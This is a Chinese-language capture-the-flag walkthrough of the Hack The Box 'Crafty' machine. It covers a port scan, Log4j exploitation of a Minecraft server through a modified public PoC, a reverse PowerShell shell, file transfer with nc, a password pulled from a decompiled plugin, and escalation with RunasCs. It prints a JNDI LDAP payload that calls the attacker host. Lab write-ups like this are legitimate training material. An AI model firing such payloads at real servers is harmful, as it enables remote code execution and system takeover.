🤔今天翻HTB发现有一个很有意思的靶机,包含Log4j漏洞。

难度是Easy,但对于没接触过Windows后渗透的新手来说确实不太Easy

拿到IP先扫端口

sudo nmap -p- --min-rate 10000 -sV -A 10.129.9.171 -oA nmapscan/ports

扫描结果如下

发现有域名crafty.htb 在攻击机hosts中加入条目

sudo sed -i '1i 10.129.9.171 crafty.htb' /etc/hosts

确认下是否成功添加

head -n 1 /etc/hosts

浏览器打开域名

发现下方还有一个域名,将此域名也加入hosts

简单看了下web,并没有什么可利用的点,所以从Minecraft游戏服务器入手

通过上次的扫描结果来看,服务器运行的游戏版本是1.16.5,我们在搜索引擎中搜索一下关于此版本的漏洞

https://github.com/kozmer/log4j-shell-poc

使用此复现脚本

先看下poc的代码,防止由于环境问题导致攻击不成功。

代码中反弹的是/bin/sh的shell,由于我们的靶机是Windows机器,所以这里要修改为powershell.exe 在较新版本的Windows中powershell进行后渗透要比cmd强很多。

在下翻的时候发现需要调用特定版本的java程序,poc的作者给出了文件下载地址。

下载

这里下载需要登录,我们使用BugMeNot提供的共享账号进行登录。

顺利下载

将下载好的文件解压进poc目录

同步,开启监听

这里我们随便找一个可以登录多人游戏的启动器,登入游戏

在聊天框中发送poc给出的Log4j Payload

${jndi:ldap://10.10.14.8:1389/a}

反弹shell成功

拿到shell先看权限,发现是以普通用户权限运行的游戏服务器

这里我们先进游戏目录看一下

由于环境是Powershell,这里我们用gci命令来获取目录。

进入插件目录查看文件列表

这里我们使用nc导出文件。

攻击机开个端口用于传递nc.exe

普通用户是无法写入此目录的

所以我们cd 到C:\ProgramData目录,此目录任何用户都可写入

创建个test文件夹

成功下载

攻击机上开启nc传输文件的监听端口

nc -lp 7997 > playercounter-1.0-SNAPSHOT.jar

将文件下载后,用Java逆向工具 jd-gui进行逆向

🤔猜测此密文为管理员账户的密码 s67u84zKq8IXw

在Powershell中使用runas命令

runas /user:administrator powershell

发现在此nc环境下压根没机会输入密码 🤣🤣🤣

用其他方式反弹powershell

这里我用RunasCs来反弹管理员的Powershell

反弹成功!✌️

获取最终FLAG🏆

至此,全部流程结束👌

By Ares信息安全